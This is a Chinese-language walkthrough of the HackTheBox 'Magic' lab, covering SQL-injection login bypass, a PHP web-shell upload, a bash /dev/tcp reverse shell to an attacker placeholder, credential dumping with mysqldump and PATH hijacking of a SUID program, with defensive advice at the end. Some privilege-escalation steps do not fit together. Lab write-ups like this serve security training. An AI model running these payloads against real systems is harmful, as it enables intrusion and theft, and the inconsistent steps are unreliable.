hack the box之magic靶场练习
字数 1280 2025-08-11 08:36:35

HackTheBox Magic靶场渗透测试教学文档

靶场概述

Magic靶场是一个综合性的渗透测试练习环境,涉及Web应用安全、数据库安全、权限提升等多个方面的知识点。本教学文档将详细解析渗透过程中的每个关键步骤和技术要点。

信息收集阶段

1. 端口扫描

使用工具(如nmap)进行端口扫描,发现开放了80端口:

nmap -sV -p- <target_ip>

2. Web服务枚举

访问80端口的Web服务,进行目录扫描:

dirb http://<target_ip>/

发现关键文件:

  • login.php - 登录页面
  • upload.php - 文件上传功能

Web应用渗透

3. SQL注入绕过认证

在login.php尝试使用万能密码绕过认证:

用户名:admin' or '1'='1'-- 
密码:任意

4. 文件上传漏洞利用

发现上传功能后,尝试以下方法:

  • 直接上传.php文件 - 失败
  • 修改后缀名 - 失败
  • 00截断 - 失败
  • 上传带恶意代码的图片文件 - 成功

关键技巧:服务器存在解析漏洞,会将.php.xxx文件解析为PHP执行

上传文件格式:

shell.php.jpg

文件内容包含PHP代码:

<?php system($_GET['cmd']); ?>

5. 获取Web Shell

访问上传的文件触发代码执行:

http://<target_ip>/uploads/shell.php.jpg?cmd=whoami

6. 反弹Shell

在攻击机上设置监听:

nc -lvnp 4444

通过Web Shell执行反弹命令:

bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'

权限提升阶段

7. 数据库凭证发现

在服务器上发现敏感文件:

/var/www/html/db.php5

包含数据库凭据:

用户名:theseus
密码:iamkingtheseus

8. 数据库信息提取

由于目标机器没有mysql客户端,但存在mysqldump,使用以下命令提取数据:

mysqldump -u theseus -piamkingtheseus --all-databases > dump.sql

或直接查看特定数据库:

mysqldump -u theseus -piamkingtheseus magic users

发现第二组凭据:

用户名:admin
密码:Th3s3usW4sK1ng

9. 用户切换

使用发现的凭据切换用户:

su admin
密码:Th3s3usW4sK1ng

10. 权限提升分析

检查sudo权限:

sudo -l

查找SUID文件:

find / -perm -4000 -type f 2>/dev/null

发现可疑的sysinfo程序

11. 分析sysinfo程序

查看sysinfo内容:

cat /usr/bin/sysinfo

发现程序调用了多个系统命令(如fdisk、cat等)

12. PATH劫持提权

步骤:

  1. 创建恶意cat程序:
#!/bin/bash
bash -p
  1. 编译并上传到目标机器
  2. 修改PATH环境变量:
export PATH=/tmp:$PATH
  1. 执行sysinfo程序触发恶意cat

13. 获取root权限

在攻击机上设置监听:

nc -lvnp 4567

执行sysinfo后,将获得root权限的shell

后渗透阶段

14. 获取flag

由于cat被修改,使用strings查看flag:

strings /root/root.txt

技术要点总结

  1. SQL注入:使用万能密码绕过认证
  2. 文件上传绕过
    • 利用解析漏洞(.php.xxx被解析为PHP)
    • 图片马制作与上传
  3. 数据库信息提取
    • 当mysql不可用时,使用mysqldump提取数据
  4. 权限提升技术
    • SUID程序滥用
    • PATH环境变量劫持
    • 替换系统调用的二进制文件
  5. 后渗透技巧
    • 当标准命令被修改时,使用替代方法(如strings)查看文件内容

防御建议

  1. 对用户输入进行严格过滤,防止SQL注入
  2. 文件上传功能应:
    • 验证文件内容而不仅是扩展名
    • 禁用危险的文件类型
    • 将上传文件存储在非Web可访问目录
  3. 数据库安全:
    • 使用最小权限原则
    • 避免在Web目录存储凭据
  4. 系统安全:
    • 定期审计SUID/SGID文件
    • 限制关键目录的写入权限
    • 使用完整路径调用系统命令

通过本靶场的练习,可以全面掌握从Web渗透到系统提权的完整攻击链,以及相应的防御措施。

HackTheBox Magic靶场渗透测试教学文档 靶场概述 Magic靶场是一个综合性的渗透测试练习环境,涉及Web应用安全、数据库安全、权限提升等多个方面的知识点。本教学文档将详细解析渗透过程中的每个关键步骤和技术要点。 信息收集阶段 1. 端口扫描 使用工具(如nmap)进行端口扫描,发现开放了80端口: 2. Web服务枚举 访问80端口的Web服务,进行目录扫描: 发现关键文件: login.php - 登录页面 upload.php - 文件上传功能 Web应用渗透 3. SQL注入绕过认证 在login.php尝试使用万能密码绕过认证: 4. 文件上传漏洞利用 发现上传功能后,尝试以下方法: 直接上传.php文件 - 失败 修改后缀名 - 失败 00截断 - 失败 上传带恶意代码的图片文件 - 成功 关键技巧 :服务器存在解析漏洞,会将 .php.xxx 文件解析为PHP执行 上传文件格式: 文件内容包含PHP代码: 5. 获取Web Shell 访问上传的文件触发代码执行: 6. 反弹Shell 在攻击机上设置监听: 通过Web Shell执行反弹命令: 权限提升阶段 7. 数据库凭证发现 在服务器上发现敏感文件: 包含数据库凭据: 8. 数据库信息提取 由于目标机器没有mysql客户端,但存在mysqldump,使用以下命令提取数据: 或直接查看特定数据库: 发现第二组凭据: 9. 用户切换 使用发现的凭据切换用户: 10. 权限提升分析 检查sudo权限: 查找SUID文件: 发现可疑的 sysinfo 程序 11. 分析sysinfo程序 查看sysinfo内容: 发现程序调用了多个系统命令(如fdisk、cat等) 12. PATH劫持提权 步骤: 创建恶意cat程序: 编译并上传到目标机器 修改PATH环境变量: 执行sysinfo程序触发恶意cat 13. 获取root权限 在攻击机上设置监听: 执行sysinfo后,将获得root权限的shell 后渗透阶段 14. 获取flag 由于cat被修改,使用strings查看flag: 技术要点总结 SQL注入 :使用万能密码绕过认证 文件上传绕过 : 利用解析漏洞(.php.xxx被解析为PHP) 图片马制作与上传 数据库信息提取 : 当mysql不可用时,使用mysqldump提取数据 权限提升技术 : SUID程序滥用 PATH环境变量劫持 替换系统调用的二进制文件 后渗透技巧 : 当标准命令被修改时,使用替代方法(如strings)查看文件内容 防御建议 对用户输入进行严格过滤,防止SQL注入 文件上传功能应: 验证文件内容而不仅是扩展名 禁用危险的文件类型 将上传文件存储在非Web可访问目录 数据库安全: 使用最小权限原则 避免在Web目录存储凭据 系统安全: 定期审计SUID/SGID文件 限制关键目录的写入权限 使用完整路径调用系统命令 通过本靶场的练习,可以全面掌握从Web渗透到系统提权的完整攻击链,以及相应的防御措施。